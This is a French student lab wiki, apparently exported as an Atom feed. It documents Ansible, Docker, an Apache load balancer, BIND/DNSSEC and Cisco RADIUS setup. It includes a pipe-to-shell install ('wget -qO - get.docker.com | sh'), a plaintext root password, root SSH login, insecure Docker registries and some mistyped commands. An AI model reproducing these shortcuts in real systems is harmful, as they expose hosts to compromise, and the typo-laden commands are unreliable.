 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget -qO - get.docker.com | sh&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
'''Activation des module pour le mandataire inverse'''&lt;br /&gt;
&lt;br /&gt;
Pour utiliser Apache2 mandataire inverse, on doit activer les modules &amp;lt;code&amp;gt;proxy&amp;lt;/code&amp;gt; (permet l’implémentation d’un serveur mandataire/passerelle) et &amp;lt;code&amp;gt;proxy_http&amp;lt;/code&amp;gt; (permet des requêtes HTTP et HTTPS au module proxy) :&lt;br /&gt;
 a2enmod proxy proxy_http&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
'''Mise en place du VirtualHost'''&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
Pour mettre en place l'équilibrage de charge, on définie les machines que l'on souhaite et on leur associe un ordre. Ici, à chaque appel ou rechargement de la page &amp;lt;code&amp;gt;reverse.girolle.site&amp;lt;/code&amp;gt; la route s'incrémente et change de machine.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
   BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
   ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
&lt;br /&gt;
On l'active avec les commandes suivantes :&lt;br /&gt;
 a2ensite reverse.conf&lt;br /&gt;
 service apache2 reload&lt;br /&gt;
&lt;br /&gt;
Pour l'équilibrage de charge on doit parfois activer en plus le module &amp;lt;code&amp;gt;lbmethod_byrequests&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;a2enmod lbmethod_byrequests&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Enregistrement de type CNAME dans notre DNS'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site&amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
  6	        ; Serial&lt;br /&gt;
  604800	; Refresh&lt;br /&gt;
  86400		; Retry&lt;br /&gt;
  2419200	; Expire&lt;br /&gt;
  604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe de nouveau les enregistrement de la zone avec les commandes :&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
 bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour constater la mise en place de l'équilibrage, on peut appeler la page &amp;lt;code&amp;gt;reverse.girolle.site&amp;lt;/code&amp;gt; dans un navigateur. Elle affiche de contenu d'&amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt;. Si l'on crée une nouvelle version du contenu de la page en modifiant &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; sans activer la mise à jour sur les autres machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, après un push/pull, seule notre VM aura la nouvelle version. En rechargeant plusieurs fois la page dans un navigateur on voit alors successivement la nouvelle et les anciennes versions.&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55029</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55029"/>
				<updated>2020-12-18T23:58:22Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
